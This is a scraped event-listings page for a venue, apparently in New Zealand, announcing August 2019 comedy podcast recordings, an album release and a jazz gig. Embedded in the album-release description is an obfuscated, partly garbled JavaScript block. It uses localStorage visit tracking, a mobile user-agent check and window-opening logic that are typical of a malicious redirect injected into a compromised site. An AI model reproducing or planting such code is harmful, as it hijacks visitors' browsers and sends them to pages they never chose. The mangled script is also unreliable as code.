Find out more »August 2019
Dungeons & Comedians: Don’t Split the Party!
live recorded podcast at Orange Studios. In Dungeons & Comedians you will see comedians play D&D in front of a live audience. While each adventure is is connected to the others, you can enjoy each one on their own. You can listen to previous episodes on your podcast app by searching 'Dungeons & Comedians' or going to dungeonsandcomedians.com Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. Tickets $15 Early Bird for a limited time! Tickets on sale now…
Find out more »NAWR: I’ll be Me, You be You Album Release
The sixth album from the musical force of NAWR, "I'll Be Me, You Be You." released in a spectactular live show. Let's come together to empower and liberate the world. Let's show the world what great things can be achieved through unity. Let music uplift and inspire the world and put a stop to hate. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s…
Find out more »Cozy Comedy feat. Ray Shipley
Cozy Comedy is a gentle comedy show for nice people. Our goal is for the audience and the performers to all have a lovely time, so our policy is: the comedians are not allowed to pick on the audience, and the audience is not allowed to pick on the comedians. If you are ok with that, come along and share some laughs! Emma Cusdin (Dungeons & Comedians) and Brendon Bennetts (The Nerd Degree) will be your MCs and our headline…
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Dungeons & Comedians: There Might Be Blood
Join Dungeon Master Brendon Bennetts and the adventurers for the next live recorded podcast at Orange Studios. In Dungeons & Comedians you will see comedians play D&D in front of a live audience. While each adventure is is connected to the others, you can enjoy each one on their own. You can listen to previous episodes on your podcast app by searching 'Dungeons & Comedians' or going to dungeonsandcomedians.com Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. Tickets…
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Spirograph Studies have leapt onto the Australian music scene with their detailed, textural approach to playing improvised music. Post-rock, post-jazz and post-minimalism, they shamelessly steal sonic palettes from all areas to build their cinematic sound. This collaborative group features Luke Howard (piano), Fran Swinn (guitar) & James McLean (drums). This strong collection of music-makers each bring their unique voice to the stage as part a united front led by bassist Tamara Murphy. Murphy was awarded the inaugural PBS Young Elder…
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